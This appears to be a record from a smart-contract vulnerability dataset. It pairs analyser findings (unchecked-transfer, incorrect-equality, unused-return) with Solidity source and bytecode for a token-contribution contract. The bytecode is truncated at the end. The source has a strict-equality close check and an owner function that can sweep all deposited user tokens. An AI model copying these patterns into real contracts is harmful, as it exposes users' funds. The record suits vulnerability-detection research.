61039c366004611d29565b61130a565b6101ba6103af366004611cbc565b600160209081526000928352604080842090915290825290205481565b6101ba6103da366004611d92565b611664565b61041a6103ed366004611e12565b60056020908152600092835260408084209091529082529020805460019091015463ffffffff9091169082565b6040805163ffffffff9093168352602083019190915201610185565b3360008181526001602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104919086815260200190565b60405180910390a35060015b92915050565b60006104ae82611760565b73f5bce5077908a1b7370b9ae04adc565ebd6439666397da6d30738798249c2e607446efb7ad49ec89dd1865ff4272308660006104ee620186a089612134565b6040518663ffffffff1660e01b815260040161050e959493929190612061565b6040805180830381600087803b15801561052757600080fd5b505af115801561053b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061055f9190611fa1565b509392505050565b60006001600160a01b038416331415806105a657506001600160a01b038416600090815260016020908152604080832033845290915290205460001914155b156105e4576001600160a01b0384166000908152600160209081526040808320338452909152812080548492906105de90849061218a565b90915550505b6001600160a01b0384166000908152600260205260408120805484929061060c90849061218a565b90915550506001600160a01b038316600090815260026020526040812080548492906106399084906120f4565b90915550506001600160a01b03808516600090815260046020526040902054610664911684846117eb565b826001600160a01b0316846001600160a01b03166000805160206122508339815191528460405161069791815260200190565b60405180910390a35060019392505050565b6040516323b872dd60e01b815233600482015230602482015260448101829052600090736b3595068778dd592e39a122f4f5a5cf09c90fe2906323b872dd90606401602060405180830381600087803b15801561070557600080fd5b505af1158015610719573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073d9190611ec0565b50604051632967cf8360e21b815260048101839052738798249c2e607446efb7ad49ec89dd1865ff42729063a59f3e0c90602401600060405180830381600087803b15801561078b57600080fd5b505af115801561079f573d6000803e3d6000fd5b50506040516370a0823160e01b8152306004820181905273f5bce5077908a1b7370b9ae04adc565ebd64396693506302b9446c9250738798249c2e607446efb7ad49ec89dd1865ff427291819083906370a082319060240160206040518083038186803b15801561080f57600080fd5b505afa158015610823573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108479190611f89565b60006040518663ffffffff1660e01b8152600401610869959493929190612061565b6040805180830381600087803b15801561088257600080fd5b505af1158015610896573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ba9190611fa1565b915061049d9050836108cf620186a08461216b565b61194f565b6108de33826119ec565b50565b60006108ec82611760565b73f5bce5077908a1b7370b9ae04adc565ebd6439666397da6d30738798249c2e607446efb7ad49ec89dd1865ff42723080600061092c620186a089612134565b6040518663ffffffff1660e01b815260040161094c959493929190612061565b6040805180830381600087803b15801561096557600080fd5b505af1158015610979573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099d9190611fa1565b506040516367dfd4c960e01b815260048101829052909150738798249c2e607446efb7ad49ec89dd1865ff4272906367dfd4c990602401600060405180830381600087803b1580156109ee57600080fd5b505af1158015610a02573d6000803e3d6000fd5b50506040516370a0823160e01b8152306004820152736b3595068778dd592e39a122f4f5a5cf09c90fe2925063a9059cbb9150859083906370a082319060240160206040518083038186803b158015610a5a57600080fd5b505afa158015610a6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a929190611f89565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015610ad857600080fd5b505af1158015610aec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b109190611ec0565b5092915050565b6000438210610b805760405162461bcd60e51b815260206004820152602a60248201527f4d656f777368693a3a6765745072696f72566f7465733a206e6f74207965742060448201526919195d195c9b5a5b995960b21b60648201526084015b60405180910390fd5b6001600160a01b03831660009081526006602052604090205463ffffffff1680610bae57600091505061049d565b6001600160a01b03841660009081526005602052604081208491610bd36001856121a1565b63ffffffff90811682526020820192909252604001600020541611610c3c576001600160a01b038416600090815260056020526040812090610c166001846121a1565b63ffffffff1663ffffffff1681526020019081526020016000206001015491505061049d565b6001600160a01b038416600090815260056020908152604080832083805290915290205463ffffffff16831015610c7757600091505061049d565b600080610c856001846121a1565b90505b8163ffffffff168163ffffffff161115610d4d5760006002610caa84846121a1565b610cb49190612148565b610cbe90836121a1565b6001600160a01b038816600090815260056020908152604080832063ffffffff8086168552908352928190208151808301909252805490931680825260019093015491810191909152919250871415610d215760200151945061049d9350505050565b805163ffffffff16871115610d3857819350610d46565b610d436001836121a1565b92505b5050610c88565b506001600160a01b038516600090815260056020908152604080832063ffffffff9094168352929052206001015491505092915050565b33600090815260026020526040812080548391908390610da590849061218a565b90915550506001600160a01b03831660009081526002602052604081208054849290610dd29084906120f4565b909155505033600090815260046020526040902054610dfb906001600160a01b031684846117eb565b6040518281526001600160a01b03841690339060008051602061225083398151915290602001610491565b60608167ffffffffffffffff811115610e4f57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610e8257816020015b6060815260200190600190039081610e6d5790505b50905060005b82811015610b105760008030868685818110610eb457634e487b7160e01b600052603260045260246000fd5b9050602002810190610ec691906120a8565b604051610ed4929190611ff0565b600060405180830381855af49150503d8060008114610f0f576040519150601f19603f3d011682016040523d82523d6000602084013e610f14565b606091505b509150915081610f6057604481511015610f2d57600080fd5b60048101905080806020019051810190610f479190611ee0565b60405162461bcd60e51b8152600401610b779190612095565b80848481518110610f8157634e487b7160e01b600052603260045260246000fd5b602002602001018190525050508080610f99906121f2565b915050610e88565b6001600160a01b03811660009081526006602052604081205463ffffffff1680610fcc57600061100f565b6001600160a01b038316600090815260056020526040812090610ff06001846121a1565b63ffffffff1663ffffffff168152602001908152602001600020600101545b9392505050565b60408051808201825260078152664d656f7773686960c81b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a0820184528051908301207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c08301526001600160a01b038a1660e083015261010082018990526101208083018990528451808403909101815261014083019094528351939092019290922061190160f01b6101608401526101628301829052610182830181905290916000906101a20160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015611198573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661120d5760405162461bcd60e51b815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c6964206044820152687369676e617475726560b81b6064820152608401610b77565b6001600160a01b0381166000908152600360205260408120805491611231836121f2565b9190505589146112915760405162461bcd60e51b815260206004820152602560248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c6964206044820152646e6f6e636560d81b6064820152608401610b77565b874211156112f35760405162461bcd60e51b815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a207369676e617475726044820152681948195e1c1a5c995960ba1b6064820152608401610b77565b6112fd818b6119ec565b505050505b505050505050565b60408051808201825260078152664d656f7773686960c81b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a090910183528051908201206001600160a01b038a166000908152600390925291812080547f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918b918b918b9190866113e7836121f2565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810187905260e0016040516020818303038152906040528051906020012090506000828260405160200161146692919061190160f01b81526002810192909252602282015260420190565b60408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa1580156114d1573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661153f5760405162461bcd60e51b815260206004820152602260248201527f4d656f777368693a3a7065726d69743a20696e76616c6964207369676e617475604482015261726560f01b6064820152608401610b77565b8a6001600160a01b0316816001600160a01b0316146115a05760405162461bcd60e51b815260206004820152601d60248201527f4d656f777368693a3a7065726d69743a20756e617574686f72697a65640000006044820152606401610b77565b874211156115fb5760405162461bcd60e51b815260206004820152602260248201527f4d656f777368693a3a7065726d69743a207369676e6174757265206578706972604482015261195960f21b6064820152608401610b77565b6001600160a01b038b81166000818152600160209081526040808320948f16808452948252918290208d905590518c81527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35050505050505050505050565b6040516323b872dd60e01b815233600482015273f5bce5077908a1b7370b9ae04adc565ebd643966602482015260448101829052600090738798249c2e607446efb7ad49ec89dd1865ff4272906323b872dd90606401602060405180830381600087803b1580156116d457600080fd5b505af11580156116e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061170c9190611ec0565b5060405162ae511b60e21b815273f5bce5077908a1b7370b9ae04adc565ebd643966906302b9446c9061086990738798249c2e607446efb7ad49ec89dd1865ff427290849030908890600090600401612061565b336000908152600260205260408120805483929061177f90849061218a565b9250508190555080600080828254611797919061218a565b9091555050336000908152600460205260408120546117c2916001600160a01b0390911690836117eb565b60405181815260009033906000805160206122508339815191529060200160405180910390a350565b816001600160a01b0316836001600160a01b03161415801561180d5750600081115b1561194a576001600160a01b038316156118b0576001600160a01b03831660009081526006602052604081205463ffffffff16908161184d576000611890565b6001600160a01b0385166000908152600560205260408120906118716001856121a1565b63ffffffff1663ffffffff168152602001908152602001600020600101545b9050600061189e848361218a565b90506118ac86848484611a6c565b5050505b6001600160a01b0382161561194a576001600160a01b03821660009081526006602052604081205463ffffffff1690816118eb57600061192e565b6001600160a01b03841660009081526005602052604081209061190f6001856121a1565b63ffffffff1663ffffffff168152602001908152602001600020600101545b9050600061193c84836120f4565b905061130285848484611a6c565b505050565b6001600160a01b038216600090815260026020526040812080548392906119779084906120f4565b925050819055508060008082825461198f91906120f4565b90915550506001600160a01b038083166000908152600460205260408120546119b99216836117eb565b6040518181526001600160a01b038316906000906000805160206122508339815191529060200160405180910390a35050565b6001600160a01b03808316600081815260046020818152604080842080546002845282862054949093528787166001600160a01b03198416811790915590519190951694919391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4611a668284836117eb565b50505050565b6000611a7743611bf5565b905060008463ffffffff16118015611ad157506001600160a01b038516600090815260056020526040812063ffffffff831691611ab56001886121a1565b63ffffffff908116825260208201929092526040016000205416145b15611b1a576001600160a01b03851660009081526005602052604081208391611afb6001886121a1565b63ffffffff168152602081019190915260400160002060010155611baa565b60408051808201825263ffffffff838116825260208083018681526001600160a01b038a166000908152600583528581208a851682529092529390209151825463ffffffff191691161781559051600191820155611b7990859061210c565b6001600160a01b0386166000908152600660205260409020805463ffffffff191663ffffffff929092169190911790555b60408051848152602081018490526001600160a01b038716917fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724910160405180910390a25050505050565b60006401000000008210611c715760405162461bcd60e51b815260206004820152603760248201527f4d656f777368693a3a5f7772697465436865636b706f696e743a20626c6f636b60448201527f206e756d626572206578636565647320333220626974730000000000000000006064820152608401610b77565b5090565b80356001600160a01b0381168114611c8c57600080fd5b919050565b803560ff81168114611c8c57600080fd5b600060208284031215611cb3578081fd5b61100f82611c75565b60008060408385031215611cce578081fd5b611cd783611c75565b9150611ce560208401611c75565b90509250929050565b600080600060608486031215611d02578081fd5b611d0b84611c75565b9250611d1960208501611c75565b9150604084013590509250925092565b600080600080600080600060e0888a031215611d43578283fd5b611d4c88611c75565b9650611d5a60208901611c75565b95506040880135945060608801359350611d7660808901611c91565b925060a0880135915060c0880135905092959891949750929550565b60008060408385031215611da4578182fd5b611dad83611c75565b946020939093013593505050565b60008060008060008060c08789031215611dd3578182fd5b611ddc87611c75565b95506020870135945060408701359350611df860608801611c91565b92506080870135915060a087013590509295509295509295565b60008060408385031215611e24578182fd5b611e2d83611c75565b9150602083013563ffffffff81168114611e45578182fd5b809150509250929050565b60008060208385031215611e62578182fd5b823567ffffffffffffffff80821115611e79578384fd5b818501915085601f830112611e8c578384fd5b813581811115611e9a578485fd5b8660208260051b8501011115611eae578485fd5b60209290920196919550909350505050565b600060208284031215611ed1578081fd5b8151801515811461100f578182fd5b600060208284031215611ef1578081fd5b815167ffffffffffffffff80821115611f08578283fd5b818401915084601f830112611f1b578283fd5b815181811115611f2d57611f2d612239565b604051601f8201601f19908116603f01168101908382118183101715611f5557611f55612239565b81604052828152876020848701011115611f6d578586fd5b611f7e8360208301602088016121c6565b979650505050505050565b600060208284031215611f9a578081fd5b5051919050565b60008060408385031215611fb3578182fd5b505080516020909101519092909150565b60008151808452611fdc8160208601602086016121c6565b601f01601f19169290920160200192915050565b8183823760009101908152919050565b6000602080830181845280855180835260408601915060408160051b8701019250838701855b8281101561205457603f19888603018452612042858351611fc4565b94509285019290850190600101612026565b5092979650505050505050565b6001600160a01b03958616815293851660208501529190931660408301526060820192909252608081019190915260a00190565b60208152600061100f6020830184611fc4565b6000808335601e198436030181126120be578283fd5b83018035915067ffffffffffffffff8211156120d8578283fd5b6020019150368190038213156120ed57600080fd5b9250929050565b600082198211156121075761210761220d565b500190565b600063ffffffff80831681851680830382111561212b5761212b61220d565b01949350505050565b60008261214357612143612223565b500490565b600063ffffffff8084168061215f5761215f612223565b92169190910492915050565b60008160001904831182151516156121855761218561220d565b500290565b60008282101561219c5761219c61220d565b500390565b600063ffffffff838116908316818110156121be576121be61220d565b039392505050565b60005b838110156121e15781810151838201526020016121c9565b83811115611a665750506000910152565b60006000198214156122065761220661220d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212202bb6214ca8e340928b67b363a9ed00b882ea2480a409a3a2347680f820ea84d064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,198 |
0xC17F6D3B6B3056faC4b13331358c7585d9d796c5
|
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
contract Contribut is Ownable {
struct EventData {
string eventName;
address depositToken;
uint256 depositTotal;
uint256 hardCap;
uint256 maxContribut;
uint256 minContribut;
uint256 FCFSTimer;
address[] users;
address owner;
bool active;
}
mapping(uint256 => EventData) public eventList;
uint256 public eventNonce;
struct ContributionData {
uint256 eventId;
string eventName;
uint256 depositAmount;
}
mapping(address => mapping(uint256 => uint256)) public userList;
struct UserData {
address user;
uint256 depositAmount;
}
event Published(uint256 eventId, string eventName, address depositToken, uint256 hardCap, uint256 maxContribut, uint256 minContribut, uint256 FCFSTimer, address owner, bool active);
event Close(uint256 eventId, address depositToken, uint256 depositTotal);
event Contribution(uint256 eventId, address user, uint256 depositAmount);
event Vested(uint256 eventId, address user, address tokenAddress, uint256 amount);
receive() external payable {}
function RecoverERC20(address _tokenAddress) public onlyOwner {
uint256 balance = IERC20(_tokenAddress).balanceOf(address(this));
TransferHelper.safeTransfer(_tokenAddress, owner(), balance);
}
function RecoverETH() public onlyOwner() {
address owner = owner();
payable(owner).transfer(address(this).balance);
}
function SetEvent(string calldata _eventName, address _depositToken, uint256 _hardCap, uint256 _maxContribut, uint256 _minContribut, uint256 _FCFSTimer) external onlyOwner {
require(_hardCap >= _maxContribut, "Invalid hardCap");
require(_maxContribut >= _minContribut, "Invalid minContribut");
require(_depositToken != address(0), "Invalid depositToken");
address[] memory users;
eventList[eventNonce] = EventData({
eventName : _eventName,
depositToken : _depositToken,
depositTotal : 0,
hardCap : _hardCap,
maxContribut : _maxContribut,
minContribut : _minContribut,
FCFSTimer : _FCFSTimer,
users : users,
owner : msg.sender,
active : true
});
emit Published(eventNonce, _eventName, _depositToken, _hardCap, _maxContribut, _minContribut, _FCFSTimer, msg.sender, true);
eventNonce++;
}
function CloseEvent(uint256 _eventId) external onlyOwner {
require(_eventId < eventNonce, "Invalid EventId");
require(eventList[_eventId].active, "Event is not active");
require(eventList[_eventId].hardCap == eventList[_eventId].depositTotal, "Not reached hardCap");
TransferHelper.safeTransfer(eventList[_eventId].depositToken, msg.sender, eventList[_eventId].depositTotal);
eventList[_eventId].active = false;
emit Close(_eventId, eventList[_eventId].depositToken, eventList[_eventId].depositTotal);
}
function SetVested(uint256 _eventId, address _tokenAddress, uint256 _amount) external onlyOwner {
require(_eventId < eventNonce, "Invalid EventId");
require(eventList[_eventId].active == false, "Event is active");
uint256 preBalance = IERC20(_tokenAddress).balanceOf(address(this));
TransferHelper.safeTransferFrom(_tokenAddress, msg.sender, address(this), _amount);
UserData[] memory data = GetEventData(_eventId);
uint256 balance = IERC20(_tokenAddress).balanceOf(address(this)) - preBalance;
for (uint256 i = 0; i < data.length; i++) {
uint256 vestedBalance = balance * 1e18 * data[i].depositAmount / eventList[_eventId].depositTotal / 1e18;
if (vestedBalance > 0) {
TransferHelper.safeTransfer(_tokenAddress, data[i].user, vestedBalance);
emit Vested(_eventId, data[i].user, _tokenAddress, vestedBalance);
}
}
balance = IERC20(_tokenAddress).balanceOf(address(this));
if (balance > preBalance) {
TransferHelper.safeTransfer(_tokenAddress, msg.sender, balance - preBalance);
}
}
function Deposit(uint256 _eventId, uint256 _depositAmount) external {
require(_eventId < eventNonce, "Invalid EventId");
require(eventList[_eventId].active, "Event is not active");
require(eventList[_eventId].hardCap > eventList[_eventId].depositTotal, "It is beyond hardCap");
require(eventList[_eventId].FCFSTimer < block.timestamp || eventList[_eventId].maxContribut >= userList[msg.sender][_eventId] + _depositAmount, "Deposit is high");
require(eventList[_eventId].minContribut <= _depositAmount, "Deposit is low");
require(eventList[_eventId].FCFSTimer < block.timestamp || userList[msg.sender][_eventId] == 0, "Please wait for FCFS");
if (eventList[_eventId].hardCap < eventList[_eventId].depositTotal + _depositAmount) {
_depositAmount = eventList[_eventId].hardCap - eventList[_eventId].depositTotal;
}
userList[msg.sender][_eventId] += _depositAmount;
eventList[_eventId].depositTotal += _depositAmount;
TransferHelper.safeTransferFrom(eventList[_eventId].depositToken, msg.sender, address(this), _depositAmount);
if (CheckEventListUsers(msg.sender, _eventId) == false) {
eventList[_eventId].users.push(msg.sender);
}
emit Contribution(_eventId, msg.sender, userList[msg.sender][_eventId]);
}
function Refund(uint256 _eventId, uint256 _refundAmount) external {
require(_eventId < eventNonce, "Invalid EventId");
require(eventList[_eventId].active, "Event is not active");
require(userList[msg.sender][_eventId] >= _refundAmount, "Contributions are insufficient");
userList[msg.sender][_eventId] -= _refundAmount;
eventList[_eventId].depositTotal -= _refundAmount;
TransferHelper.safeTransfer(eventList[_eventId].depositToken, msg.sender, _refundAmount);
emit Contribution(_eventId, msg.sender, userList[msg.sender][_eventId]);
}
function TransferContribut(uint256 _eventId, address _to, uint256 _transferContribut) external {
require(_eventId < eventNonce, "Invalid EventId");
require(eventList[_eventId].active == false, "Event is active");
require(userList[msg.sender][_eventId] >= _transferContribut, "Contributions are insufficient");
userList[msg.sender][_eventId] -= _transferContribut;
userList[_to][_eventId] += _transferContribut;
if (CheckEventListUsers(_to, _eventId) == false) {
eventList[_eventId].users.push(_to);
}
emit Contribution(_eventId, msg.sender, userList[msg.sender][_eventId]);
emit Contribution(_eventId, _to, userList[_to][_eventId]);
}
function CheckEventListUsers(address _user, uint256 _eventId) public view returns (bool _flag) {
for (uint256 i = 0; i < eventList[_eventId].users.length; i++) {
if (eventList[_eventId].users[i] == _user) {
return true;
}
}
return false;
}
function GetUserData(address _user, uint256 _eventId) public view returns (uint256 _depositAmount) {
return userList[_user][_eventId];
}
function GetUserAllData(address _user) public view returns (ContributionData[] memory _userAllData) {
uint256 activeCount = GetUserActiveEventCount(_user);
uint256 setCount = 0;
ContributionData[] memory userAllData = new ContributionData[](activeCount);
for (uint256 i = 0; i < eventNonce; i++) {
if (userList[_user][i] > 0) {
userAllData[setCount] = ContributionData({
eventId : i,
eventName : eventList[i].eventName,
depositAmount : userList[_user][i]
});
setCount++;
}
}
return userAllData;
}
function GetUserActiveEventCount(address _user) public view returns (uint256) {
uint256 activeCount = 0;
for (uint256 i = 0; i < eventNonce; i++) {
if (userList[_user][i] > 0) {
activeCount++;
}
}
return activeCount;
}
function GetEventData(uint256 _eventId) public view returns (UserData[] memory _userData) {
address[] memory users = eventList[_eventId].users;
UserData[] memory data = new UserData[](users.length);
for (uint256 i = 0; i < users.length; i++) {
data[i].user = users[i];
data[i].depositAmount = GetUserData(users[i], _eventId);
}
return data;
}
}
|
0x6080604052600436106101485760003560e01c8063a7e031c7116100c0578063cf7bb09011610074578063ee0359d311610059578063ee0359d3146103ac578063eedd0970146103cc578063f2fde38b146103ec57600080fd5b8063cf7bb0901461035f578063ea2c48bf1461038c57600080fd5b8063bfeaf8c1116100a5578063bfeaf8c1146102e2578063cbcb8f8a146102f7578063cd4995231461032757600080fd5b8063a7e031c7146102a2578063b5b80c03146102c257600080fd5b806365e4b5c4116101175780638da5cb5b116100fc5780638da5cb5b1461023a57806398456c4914610262578063a3af609b1461028257600080fd5b806365e4b5c414610205578063715018a61461022557600080fd5b80630f92a52d146101545780631c3e6ee61461018a578063493280d2146101ae5780635eee8032146101e357600080fd5b3661014f57005b600080fd5b34801561016057600080fd5b5061017461016f36600461230b565b61040c565b60405161018191906124e3565b60405180910390f35b34801561019657600080fd5b506101a060035481565b604051908152602001610181565b3480156101ba57600080fd5b506101ce6101c9366004612416565b6105fe565b604051610181999897969594939291906125bb565b3480156101ef57600080fd5b506102036101fe36600461247a565b6106e2565b005b34801561021157600080fd5b506101a061022036600461230b565b6108d8565b34801561023157600080fd5b50610203610937565b34801561024657600080fd5b506000546040516001600160a01b039091168152602001610181565b34801561026e57600080fd5b5061020361027d366004612446565b6109db565b34801561028e57600080fd5b5061020361029d36600461247a565b610c64565b3480156102ae57600080fd5b506102036102bd366004612375565b61106a565b3480156102ce57600080fd5b506101a06102dd36600461232c565b6113a0565b3480156102ee57600080fd5b506102036113cb565b34801561030357600080fd5b5061031761031236600461232c565b61146e565b6040519015158152602001610181565b34801561033357600080fd5b506101a061034236600461232c565b600460209081526000928352604080842090915290825290205481565b34801561036b57600080fd5b5061037f61037a366004612416565b611509565b6040516101819190612563565b34801561039857600080fd5b506102036103a736600461230b565b6116d5565b3480156103b857600080fd5b506102036103c7366004612416565b6117c7565b3480156103d857600080fd5b506102036103e7366004612446565b6119f0565b3480156103f857600080fd5b5061020361040736600461230b565b611e18565b60606000610419836108d8565b90506000808267ffffffffffffffff81111561044557634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561049a57816020015b61048760405180606001604052806000815260200160608152602001600081525090565b8152602001906001900390816104635790505b50905060005b6003548110156105f5576001600160a01b0386166000908152600460209081526040808320848452909152902054156105e35760408051606081018252828152600083815260026020908152929020805491928301916104ff90612736565b80601f016020809104026020016040519081016040528092919081815260200182805461052b90612736565b80156105785780601f1061054d57610100808354040283529160200191610578565b820191906000526020600020905b81548152906001019060200180831161055b57829003601f168201915b50505091835250506001600160a01b038816600090815260046020908152604080832086845282529091205491015282518390859081106105c957634e487b7160e01b600052603260045260246000fd5b602002602001018190525082806105df90612771565b9350505b806105ed81612771565b9150506104a0565b50949350505050565b60026020526000908152604090208054819061061990612736565b80601f016020809104026020016040519081016040528092919081815260200182805461064590612736565b80156106925780601f1061066757610100808354040283529160200191610692565b820191906000526020600020905b81548152906001019060200180831161067557829003601f168201915b5050505060018301546002840154600385015460048601546005870154600688015460089098015496976001600160a01b039586169794965092949193909291811690600160a01b900460ff1689565b600354821061072a5760405162461bcd60e51b815260206004820152600f60248201526e125b9d985b1a5908115d995b9d1259608a1b60448201526064015b60405180910390fd5b600082815260026020526040902060080154600160a01b900460ff166107925760405162461bcd60e51b815260206004820152601360248201527f4576656e74206973206e6f7420616374697665000000000000000000000000006044820152606401610721565b3360009081526004602090815260408083208584529091529020548111156107fc5760405162461bcd60e51b815260206004820152601e60248201527f436f6e747269627574696f6e732061726520696e73756666696369656e7400006044820152606401610721565b336000908152600460209081526040808320858452909152812080548392906108269084906126ef565b90915550506000828152600260208190526040822001805483929061084c9084906126ef565b9091555050600082815260026020526040902060010154610877906001600160a01b03163383611f49565b33600081815260046020908152604080832086845282529182902054825186815291820193909352908101919091527fee5e682f79085c85b959874a59b4897eae17b6448ab068a467169ca1b2e1a888906060015b60405180910390a15050565b600080805b600354811015610930576001600160a01b03841660009081526004602090815260408083208484529091529020541561091e578161091a81612771565b9250505b8061092881612771565b9150506108dd565b5092915050565b6000546001600160a01b031633146109915760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610721565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6003548310610a1e5760405162461bcd60e51b815260206004820152600f60248201526e125b9d985b1a5908115d995b9d1259608a1b6044820152606401610721565b600083815260026020526040902060080154600160a01b900460ff1615610a875760405162461bcd60e51b815260206004820152600f60248201527f4576656e742069732061637469766500000000000000000000000000000000006044820152606401610721565b336000908152600460209081526040808320868452909152902054811115610af15760405162461bcd60e51b815260206004820152601e60248201527f436f6e747269627574696f6e732061726520696e73756666696369656e7400006044820152606401610721565b33600090815260046020908152604080832086845290915281208054839290610b1b9084906126ef565b90915550506001600160a01b038216600090815260046020908152604080832086845290915281208054839290610b53908490612698565b90915550610b639050828461146e565b610ba25760008381526002602090815260408220600701805460018101825590835291200180546001600160a01b0319166001600160a01b0384161790555b3360008181526004602090815260408083208784528252918290205482518781529182019390935280820192909252517fee5e682f79085c85b959874a59b4897eae17b6448ab068a467169ca1b2e1a8889181900360600190a16001600160a01b03821660008181526004602090815260408083208784528252918290205482518781529182019390935280820192909252517fee5e682f79085c85b959874a59b4897eae17b6448ab068a467169ca1b2e1a8889181900360600190a1505050565b6003548210610ca75760405162